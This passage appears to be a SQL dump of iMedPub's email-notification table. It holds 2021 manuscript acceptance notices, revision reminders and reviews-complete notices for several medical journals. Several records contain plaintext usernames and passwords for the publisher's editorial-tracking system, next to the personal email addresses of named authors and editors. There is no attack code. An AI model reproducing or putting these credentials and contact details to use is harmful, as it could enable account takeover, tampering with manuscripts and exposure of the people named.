style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8315</b><br />\r\n            <br />\r\n            Article Title: <b>Mitigating the effects of COVID-19 through global health governance</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mosugu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','teganjmosugu@gmail.com',8315,'2021-05-02',48),(3091,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8316</b><br />\r\n            <br />\r\n            Article Title: <b>Save Our Cities 2021: Building sustainable, resilient, and healthy cities by 2030 through prevention of and reduction in spread of disease</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mosugu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','teganjmosugu@gmail.com',8316,'2021-05-04',48),(3097,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-05-05',85),(3098,'<p>Ref.:  Ms. No. : <b>ipaom-21-8068</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Wanamo</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8068</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>tilahun</b><br />\r\npassword: <b>09qewni6</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','tilahunjimma2008@gmail.com',8068,'2021-05-05',85),(3101,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8381</b><br />\r\n            <br />\r\n            Article Title: <b>ENFERMEDAD HEP&Aacute;TICA GRASA NO ALCOH&Oacute;LICA: PERSPECTIVA GENERAL Y RIESGO CARDIOVASCULAR</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&Atilde;&shy;a Cristina Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Loubon</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-8381</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> christian_ortega<br />\r\n            <b>Password:</b> 3QVkU3Gq<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','christlord26@gmail.com',8381,'2021-05-08',274),(3102,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8359</b><br />\r\n            <br />\r\n            Article Title: <b>Cat&aacute;strofes tiroideas en uci: coma mixedematoso y tormenta tiroidea. Reporte de casos</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&Atilde;&shy;a Cristina Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rivera Tapia</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-8359</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jose_antonio<br />\r\n            <b>Password:</b> tkvdh5I4<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jartapia@gmail.com',8359,'2021-05-08',274),(3103,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6817</b><br />\r\n            <br />\r\n            Article Title: <b>Title: Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>MAI Elamin</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6817</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',6817,'2021-05-10',75),(3104,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6817</b><br />\r\n            <br />\r\n            Article Title: <b>Title: Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Elamin</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-10</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','maiiowsh87@hotmail.com',6817,'2021-05-10',75),(3105,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7887</b><br />\r\n            <br />\r\n            Article Title: <b>Insuficiencia hep&Atilde;&iexcl;tica aguda: &Acirc;&iquest;qu&Atilde;&copy; hacer?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cristina.martinezavila@gmail.com',7887,'2021-05-11',274),(3106,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8014</b><br />\r\n            <br />\r\n            Article Title: <b>S&Atilde;&shy;ndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesi&Atilde;&sup3;n Renal Aguda. Reporte de Caso.+</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Perez Calvo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','christianperez05@hotmail.com',8014,'2021-05-11',274),(3107,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8019</b><br />\r\n            <br />\r\n            Article Title: <b>INFECCI&Oacute;N POR SARS-CoV-2 Y SINDROME DE GUILLAIN-BARR&Eacute;</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Perez Calvo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','christianperez05@hotmail.com',8019,'2021-05-11',274),(3109,'<p>Ref.:  Ms. No. : <b>ipaom-20-6851</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The application of Chloroquine and Hydroxychloroquine in the treatment of coronavirus disease 2019 (COVID-19).</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Bouhmou</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-6851</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>ayoub</b><br />\r\npassword: <b>8UKQYWcn</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','ayoub_1900@hotmail.fr',6851,'2021-05-12',85),(3110,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8358</b><br />\r\n            <br />\r\n            Article Title: <b>The Therapeutic Possibility of EBV-Positive Nasopharyngeal Carcinoma through Targeting Somatostatin Receptors</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-11</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',8358,'2021-05-12',48),(3112,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8436</b><br />\r\n            <br />\r\n            Article Title: <b>Neurosarcoidosis: A Rare Cause of The Acute Confusion and Agitation in Young Patient</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Einas Khalifa</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-8436</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',8436,'2021-05-13',75),(3113,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-8436</b><br />\r\n            <br />\r\n            Article Title: <b>Neurosarcoidosis: A Rare Cause of The Acute Confusion and Agitation in Young Patient</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Khalifa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','einas.khalifa@nuh.nhs.uk',8436,'2021-05-13',75),(3116,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8323</b><br />\r\n            <br />\r\n            Article Title: <b>Anatomical variations of the anterior part of the circle of Willis-an autopsic study</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-21-8323</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ivywang@creighton.edu',8323,'2021-05-13',319),(3123,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8068</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8068</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','GAEWY1933@gmail.com',8068,'2021-05-14',85),(3129,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7924</b><br />\r\n            <br />\r\n            Article Title: <b>Intravascular lymphoma mimicking Acute Haemorrhagic Leucoencephalitis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>&acirc;&euro;&ordf;Jonathan Naftali&acirc;&euro;&not;&acirc;&euro;</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7924</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7924,'2021-05-15',75),(3130,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7924</b><br />\r\n            <br />\r\n            Article Title: <b>Intravascular lymphoma mimicking Acute Haemorrhagic Leucoencephalitis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Naftali&acirc;&euro;&not;&acirc;&euro;</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yanchu03@gmail.com',7924,'2021-05-15',75),(3131,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px 